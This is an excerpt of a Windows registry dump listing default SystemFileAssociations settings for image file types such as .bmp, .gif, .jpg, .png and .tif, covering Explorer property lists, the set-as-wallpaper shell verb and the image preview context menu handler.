    InfoTip    REG_SZ    prop:System.ItemType;*System.DateModified;*System.Image.Dimensions;*System.Size
    PreviewDetails    REG_SZ    prop:*System.DateModified;*System.Image.Dimensions;*System.Size;*System.OfflineAvailability;*System.OfflineStatus;*System.DateCreated;*System.SharedWith
    ImageOptionFlags    REG_DWORD    0x1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.bmp\Shell

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.bmp\Shell\setdesktopwallpaper
    (Default)    REG_EXPAND_SZ    @%SystemRoot%\system32\stobject.dll,-417
    MultiSelectModel    REG_SZ    Player
    NeverDefault    REG_SZ    

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.bmp\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    DelegateExecute    REG_SZ    {ff609cc7-d34d-4049-a1aa-2293517ffcc6}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.bmp\ShellEx

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.bmp\ShellEx\ContextMenuHandlers

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.bmp\ShellEx\ContextMenuHandlers\ShellImagePreview
    (Default)    REG_SZ    {FFE2A43C-56B9-4bf5-9A79-CC6D4285608A}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.dib
    ExtendedTileInfo    REG_SZ    prop:System.ItemType;*System.DateModified;*System.Image.Dimensions
    FullDetails    REG_SZ    prop:System.PropGroup.Image;System.Image.Dimensions;System.Image.HorizontalSize;System.Image.VerticalSize;System.Image.BitDepth;System.PropGroup.FileSystem;System.ItemNameDisplay;System.ItemType;System.ItemFolderPathDisplay;System.DateCreated;System.DateModified;System.Size;System.FileAttributes;System.OfflineAvailability;System.OfflineStatus;System.SharedWith;System.FileOwner;System.ComputerName
    InfoTip    REG_SZ    prop:System.ItemType;*System.DateModified;*System.Image.Dimensions;*System.Size
    PreviewDetails    REG_SZ    prop:*System.DateModified;*System.Image.Dimensions;*System.Size;*System.OfflineAvailability;*System.OfflineStatus;*System.DateCreated;*System.SharedWith
    ImageOptionFlags    REG_DWORD    0x1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.dib\Shell

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.dib\Shell\setdesktopwallpaper
    (Default)    REG_EXPAND_SZ    @%SystemRoot%\system32\stobject.dll,-417
    MultiSelectModel    REG_SZ    Player
    NeverDefault    REG_SZ    

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.dib\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    DelegateExecute    REG_SZ    {ff609cc7-d34d-4049-a1aa-2293517ffcc6}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.dib\ShellEx

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.dib\ShellEx\ContextMenuHandlers

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.dib\ShellEx\ContextMenuHandlers\ShellImagePreview
    (Default)    REG_SZ    {FFE2A43C-56B9-4bf5-9A79-CC6D4285608A}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.gif
    ExtendedTileInfo    REG_SZ    prop:System.ItemType;*System.DateModified;*System.Image.Dimensions
    FullDetails    REG_SZ    prop:System.PropGroup.Image;System.Image.Dimensions;System.Image.HorizontalSize;System.Image.VerticalSize;System.Image.BitDepth;System.PropGroup.FileSystem;System.ItemNameDisplay;System.ItemType;System.ItemFolderPathDisplay;System.DateCreated;System.DateModified;System.Size;System.FileAttributes;System.OfflineAvailability;System.OfflineStatus;System.SharedWith;System.FileOwner;System.ComputerName
    InfoTip    REG_SZ    prop:System.ItemType;*System.DateModified;*System.Image.Dimensions;*System.Size
    PreviewDetails    REG_SZ    prop:*System.DateModified;*System.Image.Dimensions;*System.Size;*System.OfflineAvailability;*System.OfflineStatus;*System.DateCreated;*System.SharedWith
    ImageOptionFlags    REG_DWORD    0x0

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.gif\Shell

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.gif\Shell\setdesktopwallpaper
    (Default)    REG_EXPAND_SZ    @%SystemRoot%\system32\stobject.dll,-417
    MultiSelectModel    REG_SZ    Player
    NeverDefault    REG_SZ    

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.gif\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    DelegateExecute    REG_SZ    {ff609cc7-d34d-4049-a1aa-2293517ffcc6}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.gif\ShellEx

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.gif\ShellEx\ContextMenuHandlers

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.gif\ShellEx\ContextMenuHandlers\ShellImagePreview
    (Default)    REG_SZ    {FFE2A43C-56B9-4bf5-9A79-CC6D4285608A}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.ico
    ExtendedTileInfo    REG_SZ    prop:System.ItemType;*System.DateModified;*System.Image.Dimensions
    FullDetails    REG_SZ    prop:System.PropGroup.Image;System.Image.Dimensions;System.Image.HorizontalSize;System.Image.VerticalSize;System.Image.BitDepth;System.PropGroup.FileSystem;System.ItemNameDisplay;System.ItemType;System.ItemFolderPathDisplay;System.DateCreated;System.DateModified;System.Size;System.FileAttributes;System.OfflineAvailability;System.OfflineStatus;System.SharedWith;System.FileOwner;System.ComputerName
    InfoTip    REG_SZ    prop:System.ItemType;*System.DateModified;*System.Image.Dimensions;*System.Size
    PreviewDetails    REG_SZ    prop:*System.DateModified;*System.Image.Dimensions;*System.Size;*System.OfflineAvailability;*System.OfflineStatus;*System.DateCreated;*System.SharedWith

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.ico\DefaultIcon
    (Default)    REG_SZ    %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.ico\ShellEx

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.ico\ShellEx\ContextMenuHandlers

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.ico\ShellEx\ContextMenuHandlers\ShellImagePreview
    (Default)    REG_SZ    {FFE2A43C-56B9-4bf5-9A79-CC6D4285608A}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jfif
    ExtendedTileInfo    REG_SZ    prop:System.ItemType;System.Photo.DateTaken;*System.Image.Dimensions
    FullDetails    REG_SZ    prop:System.PropGroup.Description;System.Title;System.Subject;System.Rating;System.Keywords;*System.Photo.PeopleNames;System.Comment;System.PropGroup.Origin;System.Author;System.Photo.DateTaken;System.ApplicationName;System.DateAcquired;System.Copyright;System.PropGroup.Image;System.Image.ImageID;System.Image.Dimensions;System.Image.HorizontalSize;System.Image.VerticalSize;System.Image.HorizontalResolution;System.Image.VerticalResolution;System.Image.BitDepth;System.Image.Compression;System.Image.ResolutionUnit;System.Image.ColorSpace;System.Image.CompressedBitsPerPixel;System.PropGroup.Camera;System.Photo.CameraManufacturer;System.Photo.CameraModel;System.Photo.FNumber;System.Photo.ExposureTime;System.Photo.ISOSpeed;System.Photo.ExposureBias;System.Photo.FocalLength;System.Photo.MaxAperture;System.Photo.MeteringMode;System.Photo.SubjectDistance;System.Photo.Flash;System.Photo.FlashEnergy;System.Photo.FocalLengthInFilm;System.PropGroup.PhotoAdvanced;System.Photo.LensManufacturer;System.Photo.LensModel;System.Photo.FlashManufacturer;System.Photo.FlashModel;System.Photo.CameraSerialNumber;System.Photo.Contrast;System.Photo.Brightness;System.Photo.LightSource;System.Photo.ExposureProgram;System.Photo.Saturation;System.Photo.Sharpness;System.Photo.WhiteBalance;System.Photo.PhotometricInterpretation;System.Photo.DigitalZoom;System.Photo.EXIFVersion;System.PropGroup.FileSystem;System.ItemNameDisplay;System.ItemType;System.ItemFolderPathDisplay;System.DateCreated;System.DateModified;System.Size;System.FileAttributes;System.OfflineAvailability;System.OfflineStatus;System.SharedWith;System.FileOwner;System.ComputerName
    InfoTip    REG_SZ    prop:System.ItemType;System.Photo.DateTaken;System.Keywords;*System.Photo.PeopleNames;System.Rating;*System.Image.Dimensions;*System.Size;System.Title
    PreviewDetails    REG_SZ    prop:System.Photo.DateTaken;System.Keywords;*System.Photo.PeopleNames;System.Rating;*System.Image.Dimensions;*System.Size;System.Title;System.Author;System.Comment;*System.OfflineAvailability;*System.OfflineStatus;System.Photo.CameraManufacturer;System.Photo.CameraModel;System.Subject;*System.Photo.FNumber;*System.Photo.ExposureTime;*System.Photo.ISOSpeed;*System.Photo.ExposureBias;*System.Photo.FocalLength;*System.Photo.MaxAperture;*System.Photo.MeteringMode;*System.Photo.SubjectDistance;*System.Photo.Flash;*System.Photo.FlashEnergy;*System.Photo.FocalLengthInFilm;*System.DateCreated;*System.DateModified;*System.SharedWith
    SetDefaultsFor    REG_SZ    prop:System.Author;System.Document.DateCreated;System.Photo.DateTaken
    ImageOptionFlags    REG_DWORD    0x1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jfif\Shell

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jfif\Shell\setdesktopwallpaper
    (Default)    REG_EXPAND_SZ    @%SystemRoot%\system32\stobject.dll,-417
    MultiSelectModel    REG_SZ    Player
    NeverDefault    REG_SZ    

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jfif\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    DelegateExecute    REG_SZ    {ff609cc7-d34d-4049-a1aa-2293517ffcc6}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jfif\ShellEx

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jfif\ShellEx\ContextMenuHandlers

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jfif\ShellEx\ContextMenuHandlers\ShellImagePreview
    (Default)    REG_SZ    {FFE2A43C-56B9-4bf5-9A79-CC6D4285608A}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpe
    ExtendedTileInfo    REG_SZ    prop:System.ItemType;System.Photo.DateTaken;*System.Image.Dimensions
    FullDetails    REG_SZ    prop:System.PropGroup.Description;System.Title;System.Subject;System.Rating;System.Keywords;*System.Photo.PeopleNames;System.Comment;System.PropGroup.Origin;System.Author;System.Photo.DateTaken;System.ApplicationName;System.DateAcquired;System.Copyright;System.PropGroup.Image;System.Image.ImageID;System.Image.Dimensions;System.Image.HorizontalSize;System.Image.VerticalSize;System.Image.HorizontalResolution;System.Image.VerticalResolution;System.Image.BitDepth;System.Image.Compression;System.Image.ResolutionUnit;System.Image.ColorSpace;System.Image.CompressedBitsPerPixel;System.PropGroup.Camera;System.Photo.CameraManufacturer;System.Photo.CameraModel;System.Photo.FNumber;System.Photo.ExposureTime;System.Photo.ISOSpeed;System.Photo.ExposureBias;System.Photo.FocalLength;System.Photo.MaxAperture;System.Photo.MeteringMode;System.Photo.SubjectDistance;System.Photo.Flash;System.Photo.FlashEnergy;System.Photo.FocalLengthInFilm;System.PropGroup.PhotoAdvanced;System.Photo.LensManufacturer;System.Photo.LensModel;System.Photo.FlashManufacturer;System.Photo.FlashModel;System.Photo.CameraSerialNumber;System.Photo.Contrast;System.Photo.Brightness;System.Photo.LightSource;System.Photo.ExposureProgram;System.Photo.Saturation;System.Photo.Sharpness;System.Photo.WhiteBalance;System.Photo.PhotometricInterpretation;System.Photo.DigitalZoom;System.Photo.EXIFVersion;System.PropGroup.GPS;*System.GPS.Latitude;*System.GPS.Longitude;*System.GPS.Altitude;System.PropGroup.FileSystem;System.ItemNameDisplay;System.ItemType;System.ItemFolderPathDisplay;System.DateCreated;System.DateModified;System.Size;System.FileAttributes;System.OfflineAvailability;System.OfflineStatus;System.SharedWith;System.FileOwner;System.ComputerName
    InfoTip    REG_SZ    prop:System.ItemType;System.Photo.DateTaken;System.Keywords;*System.Photo.PeopleNames;System.Rating;*System.Image.Dimensions;*System.Size;System.Title
    PreviewDetails    REG_SZ    prop:System.Photo.DateTaken;System.Keywords;*System.Photo.PeopleNames;System.Rating;*System.Image.Dimensions;*System.Size;System.Title;System.Author;System.Comment;*System.OfflineAvailability;*System.OfflineStatus;System.Photo.CameraManufacturer;System.Photo.CameraModel;System.Subject;*System.Photo.FNumber;*System.Photo.ExposureTime;*System.Photo.ISOSpeed;*System.Photo.ExposureBias;*System.Photo.FocalLength;*System.Photo.MaxAperture;*System.Photo.MeteringMode;*System.Photo.SubjectDistance;*System.Photo.Flash;*System.Photo.FlashEnergy;*System.Photo.FocalLengthInFilm;*System.DateCreated;*System.DateModified;*System.SharedWith
    SetDefaultsFor    REG_SZ    prop:System.Author;System.Document.DateCreated;System.Photo.DateTaken
    ImageOptionFlags    REG_DWORD    0x1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpe\Shell

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpe\Shell\setdesktopwallpaper
    (Default)    REG_EXPAND_SZ    @%SystemRoot%\system32\stobject.dll,-417
    MultiSelectModel    REG_SZ    Player
    NeverDefault    REG_SZ    

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpe\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    DelegateExecute    REG_SZ    {ff609cc7-d34d-4049-a1aa-2293517ffcc6}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpe\ShellEx

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpe\ShellEx\ContextMenuHandlers

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpe\ShellEx\ContextMenuHandlers\ShellImagePreview
    (Default)    REG_SZ    {FFE2A43C-56B9-4bf5-9A79-CC6D4285608A}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpeg
    ExtendedTileInfo    REG_SZ    prop:System.ItemType;System.Photo.DateTaken;*System.Image.Dimensions
    FullDetails    REG_SZ    prop:System.PropGroup.Description;System.Title;System.Subject;System.Rating;System.Keywords;*System.Photo.PeopleNames;System.Comment;System.PropGroup.Origin;System.Author;System.Photo.DateTaken;System.ApplicationName;System.DateAcquired;System.Copyright;System.PropGroup.Image;System.Image.ImageID;System.Image.Dimensions;System.Image.HorizontalSize;System.Image.VerticalSize;System.Image.HorizontalResolution;System.Image.VerticalResolution;System.Image.BitDepth;System.Image.Compression;System.Image.ResolutionUnit;System.Image.ColorSpace;System.Image.CompressedBitsPerPixel;System.PropGroup.Camera;System.Photo.CameraManufacturer;System.Photo.CameraModel;System.Photo.FNumber;System.Photo.ExposureTime;System.Photo.ISOSpeed;System.Photo.ExposureBias;System.Photo.FocalLength;System.Photo.MaxAperture;System.Photo.MeteringMode;System.Photo.SubjectDistance;System.Photo.Flash;System.Photo.FlashEnergy;System.Photo.FocalLengthInFilm;System.PropGroup.PhotoAdvanced;System.Photo.LensManufacturer;System.Photo.LensModel;System.Photo.FlashManufacturer;System.Photo.FlashModel;System.Photo.CameraSerialNumber;System.Photo.Contrast;System.Photo.Brightness;System.Photo.LightSource;System.Photo.ExposureProgram;System.Photo.Saturation;System.Photo.Sharpness;System.Photo.WhiteBalance;System.Photo.PhotometricInterpretation;System.Photo.DigitalZoom;System.Photo.EXIFVersion;System.PropGroup.GPS;*System.GPS.Latitude;*System.GPS.Longitude;*System.GPS.Altitude;System.PropGroup.FileSystem;System.ItemNameDisplay;System.ItemType;System.ItemFolderPathDisplay;System.DateCreated;System.DateModified;System.Size;System.FileAttributes;System.OfflineAvailability;System.OfflineStatus;System.SharedWith;System.FileOwner;System.ComputerName
    InfoTip    REG_SZ    prop:System.ItemType;System.Photo.DateTaken;System.Keywords;*System.Photo.PeopleNames;System.Rating;*System.Image.Dimensions;*System.Size;System.Title
    PreviewDetails    REG_SZ    prop:System.Photo.DateTaken;System.Keywords;*System.Photo.PeopleNames;System.Rating;*System.Image.Dimensions;*System.Size;System.Title;System.Author;System.Comment;*System.OfflineAvailability;*System.OfflineStatus;System.Photo.CameraManufacturer;System.Photo.CameraModel;System.Subject;*System.Photo.FNumber;*System.Photo.ExposureTime;*System.Photo.ISOSpeed;*System.Photo.ExposureBias;*System.Photo.FocalLength;*System.Photo.MaxAperture;*System.Photo.MeteringMode;*System.Photo.SubjectDistance;*System.Photo.Flash;*System.Photo.FlashEnergy;*System.Photo.FocalLengthInFilm;*System.DateCreated;*System.DateModified;*System.SharedWith
    SetDefaultsFor    REG_SZ    prop:System.Author;System.Document.DateCreated;System.Photo.DateTaken
    ImageOptionFlags    REG_DWORD    0x1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpeg\Shell

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpeg\Shell\setdesktopwallpaper
    (Default)    REG_EXPAND_SZ    @%SystemRoot%\system32\stobject.dll,-417
    MultiSelectModel    REG_SZ    Player
    NeverDefault    REG_SZ    

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpeg\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    DelegateExecute    REG_SZ    {ff609cc7-d34d-4049-a1aa-2293517ffcc6}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpeg\ShellEx

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpeg\ShellEx\ContextMenuHandlers

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpeg\ShellEx\ContextMenuHandlers\ShellImagePreview
    (Default)    REG_SZ    {FFE2A43C-56B9-4bf5-9A79-CC6D4285608A}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpg
    ExtendedTileInfo    REG_SZ    prop:System.ItemType;System.Photo.DateTaken;*System.Image.Dimensions
    FullDetails    REG_SZ    prop:System.PropGroup.Description;System.Title;System.Subject;System.Rating;System.Keywords;*System.Photo.PeopleNames;System.Comment;System.PropGroup.Origin;System.Author;System.Photo.DateTaken;System.ApplicationName;System.DateAcquired;System.Copyright;System.PropGroup.Image;System.Image.ImageID;System.Image.Dimensions;System.Image.HorizontalSize;System.Image.VerticalSize;System.Image.HorizontalResolution;System.Image.VerticalResolution;System.Image.BitDepth;System.Image.Compression;System.Image.ResolutionUnit;System.Image.ColorSpace;System.Image.CompressedBitsPerPixel;System.PropGroup.Camera;System.Photo.CameraManufacturer;System.Photo.CameraModel;System.Photo.FNumber;System.Photo.ExposureTime;System.Photo.ISOSpeed;System.Photo.ExposureBias;System.Photo.FocalLength;System.Photo.MaxAperture;System.Photo.MeteringMode;System.Photo.SubjectDistance;System.Photo.Flash;System.Photo.FlashEnergy;System.Photo.FocalLengthInFilm;System.PropGroup.PhotoAdvanced;System.Photo.LensManufacturer;System.Photo.LensModel;System.Photo.FlashManufacturer;System.Photo.FlashModel;System.Photo.CameraSerialNumber;System.Photo.Contrast;System.Photo.Brightness;System.Photo.LightSource;System.Photo.ExposureProgram;System.Photo.Saturation;System.Photo.Sharpness;System.Photo.WhiteBalance;System.Photo.PhotometricInterpretation;System.Photo.DigitalZoom;System.Photo.EXIFVersion;System.PropGroup.GPS;*System.GPS.Latitude;*System.GPS.Longitude;*System.GPS.Altitude;System.PropGroup.FileSystem;System.ItemNameDisplay;System.ItemType;System.ItemFolderPathDisplay;System.DateCreated;System.DateModified;System.Size;System.FileAttributes;System.OfflineAvailability;System.OfflineStatus;System.SharedWith;System.FileOwner;System.ComputerName
    InfoTip    REG_SZ    prop:System.ItemType;System.Photo.DateTaken;System.Keywords;*System.Photo.PeopleNames;System.Rating;*System.Image.Dimensions;*System.Size;System.Title
    PreviewDetails    REG_SZ    prop:System.Photo.DateTaken;System.Keywords;*System.Photo.PeopleNames;System.Rating;*System.Image.Dimensions;*System.Size;System.Title;System.Author;System.Comment;*System.OfflineAvailability;*System.OfflineStatus;System.Photo.CameraManufacturer;System.Photo.CameraModel;System.Subject;*System.Photo.FNumber;*System.Photo.ExposureTime;*System.Photo.ISOSpeed;*System.Photo.ExposureBias;*System.Photo.FocalLength;*System.Photo.MaxAperture;*System.Photo.MeteringMode;*System.Photo.SubjectDistance;*System.Photo.Flash;*System.Photo.FlashEnergy;*System.Photo.FocalLengthInFilm;*System.DateCreated;*System.DateModified;*System.SharedWith
    SetDefaultsFor    REG_SZ    prop:System.Author;System.Document.DateCreated;System.Photo.DateTaken
    ImageOptionFlags    REG_DWORD    0x1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpg\Shell

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpg\Shell\setdesktopwallpaper
    (Default)    REG_EXPAND_SZ    @%SystemRoot%\system32\stobject.dll,-417
    MultiSelectModel    REG_SZ    Player
    NeverDefault    REG_SZ    

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpg\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    DelegateExecute    REG_SZ    {ff609cc7-d34d-4049-a1aa-2293517ffcc6}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpg\ShellEx

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpg\ShellEx\ContextMenuHandlers

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpg\ShellEx\ContextMenuHandlers\ShellImagePreview
    (Default)    REG_SZ    {FFE2A43C-56B9-4bf5-9A79-CC6D4285608A}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.png
    ExtendedTileInfo    REG_SZ    prop:System.ItemType;System.Photo.DateTaken;*System.Image.Dimensions
    FullDetails    REG_SZ    prop:System.PropGroup.Description;System.Title;System.Rating;System.Keywords;*System.Photo.PeopleNames;System.Comment;System.PropGroup.Origin;System.Author;System.Photo.DateTaken;System.ApplicationName;System.DateAcquired;System.Copyright;System.PropGroup.Image;System.Image.ImageID;System.Image.Dimensions;System.Image.HorizontalSize;System.Image.VerticalSize;System.Image.HorizontalResolution;System.Image.VerticalResolution;System.Image.BitDepth;System.Image.Compression;System.Image.ResolutionUnit;System.Image.ColorSpace;System.Image.CompressedBitsPerPixel;System.PropGroup.Camera;System.Photo.CameraManufacturer;System.Photo.CameraModel;System.Photo.FNumber;System.Photo.ExposureTime;System.Photo.ISOSpeed;System.Photo.ExposureBias;System.Photo.FocalLength;System.Photo.MaxAperture;System.Photo.MeteringMode;System.Photo.SubjectDistance;System.Photo.Flash;System.Photo.FlashEnergy;System.Photo.FocalLengthInFilm;System.PropGroup.PhotoAdvanced;System.Photo.LensManufacturer;System.Photo.LensModel;System.Photo.FlashManufacturer;System.Photo.FlashModel;System.Photo.CameraSerialNumber;System.Photo.Contrast;System.Photo.Brightness;System.Photo.LightSource;System.Photo.ExposureProgram;System.Photo.Saturation;System.Photo.Sharpness;System.Photo.WhiteBalance;System.Photo.PhotometricInterpretation;System.Photo.DigitalZoom;System.Photo.EXIFVersion;System.PropGroup.GPS;*System.GPS.Latitude;*System.GPS.Longitude;*System.GPS.Altitude;System.PropGroup.FileSystem;System.ItemNameDisplay;System.ItemType;System.ItemFolderPathDisplay;System.DateCreated;System.DateModified;System.Size;System.FileAttributes;System.OfflineAvailability;System.OfflineStatus;System.SharedWith;System.FileOwner;System.ComputerName
    InfoTip    REG_SZ    prop:System.ItemType;System.Photo.DateTaken;System.Keywords;*System.Photo.PeopleNames;System.Rating;*System.Image.Dimensions;*System.Size;System.Title
    PreviewDetails    REG_SZ    prop:System.Photo.DateTaken;System.Keywords;*System.Photo.PeopleNames;System.Rating;*System.Image.Dimensions;*System.Size;System.Title;System.Author;System.Comment;*System.OfflineAvailability;*System.OfflineStatus;System.Photo.CameraManufacturer;System.Photo.CameraModel;*System.Photo.FNumber;*System.Photo.ExposureTime;*System.Photo.ISOSpeed;*System.Photo.ExposureBias;*System.Photo.FocalLength;*System.Photo.MaxAperture;*System.Photo.MeteringMode;*System.Photo.SubjectDistance;*System.Photo.Flash;*System.Photo.FlashEnergy;*System.Photo.FocalLengthInFilm;*System.DateCreated;*System.DateModified;*System.SharedWith
    SetDefaultsFor    REG_SZ    prop:System.Author;System.Document.DateCreated;System.Photo.DateTaken
    ImageOptionFlags    REG_DWORD    0x1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.png\Shell

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.png\Shell\setdesktopwallpaper
    (Default)    REG_EXPAND_SZ    @%SystemRoot%\system32\stobject.dll,-417
    MultiSelectModel    REG_SZ    Player
    NeverDefault    REG_SZ    

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.png\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    DelegateExecute    REG_SZ    {ff609cc7-d34d-4049-a1aa-2293517ffcc6}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.png\ShellEx

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.png\ShellEx\ContextMenuHandlers

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.png\ShellEx\ContextMenuHandlers\ShellImagePreview
    (Default)    REG_SZ    {FFE2A43C-56B9-4bf5-9A79-CC6D4285608A}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.rle
    ExtendedTileInfo    REG_SZ    prop:System.ItemType;*System.DateModified;*System.Image.Dimensions
    FullDetails    REG_SZ    prop:System.PropGroup.Image;System.Image.Dimensions;System.Image.HorizontalSize;System.Image.VerticalSize;System.Image.BitDepth;System.PropGroup.FileSystem;System.ItemNameDisplay;System.ItemType;System.ItemFolderPathDisplay;System.DateCreated;System.DateModified;System.Size;System.FileAttributes;System.OfflineAvailability;System.OfflineStatus;System.SharedWith;System.FileOwner;System.ComputerName
    InfoTip    REG_SZ    prop:System.ItemType;*System.DateModified;*System.Image.Dimensions;*System.Size
    PreviewDetails    REG_SZ    prop:*System.DateModified;*System.Image.Dimensions;*System.Size;*System.OfflineAvailability;*System.OfflineStatus;*System.DateCreated;*System.SharedWith

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.rle\ShellEx

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.rle\ShellEx\ContextMenuHandlers

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.rle\ShellEx\ContextMenuHandlers\ShellImagePreview
    (Default)    REG_SZ    {FFE2A43C-56B9-4bf5-9A79-CC6D4285608A}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tif
    ExtendedTileInfo    REG_SZ    prop:System.ItemType;System.Photo.DateTaken;*System.Image.Dimensions
    FullDetails    REG_SZ    prop:System.PropGroup.Description;System.Title;System.Subject;System.Rating;System.Keywords;*System.Photo.PeopleNames;System.Comment;System.PropGroup.Origin;System.Author;System.Photo.DateTaken;System.ApplicationName;System.DateAcquired;System.Copyright;System.PropGroup.Image;System.Image.ImageID;System.Image.Dimensions;System.Image.HorizontalSize;System.Image.VerticalSize;System.Image.HorizontalResolution;System.Image.VerticalResolution;System.Image.BitDepth;System.Image.Compression;System.Image.ResolutionUnit;System.Image.ColorSpace;System.Image.CompressedBitsPerPixel;System.PropGroup.Camera;System.Photo.CameraManufacturer;System.Photo.CameraModel;System.Photo.FNumber;System.Photo.ExposureTime;System.Photo.ISOSpeed;System.Photo.ExposureBias;System.Photo.FocalLength;System.Photo.MaxAperture;System.Photo.MeteringMode;System.Photo.SubjectDistance;System.Photo.Flash;System.Photo.FlashEnergy;System.Photo.FocalLengthInFilm;System.PropGroup.PhotoAdvanced;System.Photo.LensManufacturer;System.Photo.LensModel;System.Photo.FlashManufacturer;System.Photo.FlashModel;System.Photo.CameraSerialNumber;System.Photo.Contrast;System.Photo.Brightness;System.Photo.LightSource;System.Photo.ExposureProgram;System.Photo.Saturation;System.Photo.Sharpness;System.Photo.WhiteBalance;System.Photo.PhotometricInterpretation;System.Photo.DigitalZoom;System.Photo.EXIFVersion;System.PropGroup.GPS;*System.GPS.Latitude;*System.GPS.Longitude;*System.GPS.Altitude;System.PropGroup.FileSystem;System.ItemNameDisplay;System.ItemType;System.ItemFolderPathDisplay;System.DateCreated;System.DateModified;System.Size;System.FileAttributes;System.OfflineAvailability;System.OfflineStatus;System.SharedWith;System.FileOwner;System.ComputerName
    InfoTip    REG_SZ    prop:System.ItemType;System.Photo.DateTaken;System.Keywords;*System.Photo.PeopleNames;System.Rating;*System.Image.Dimensions;*System.Size;System.Title
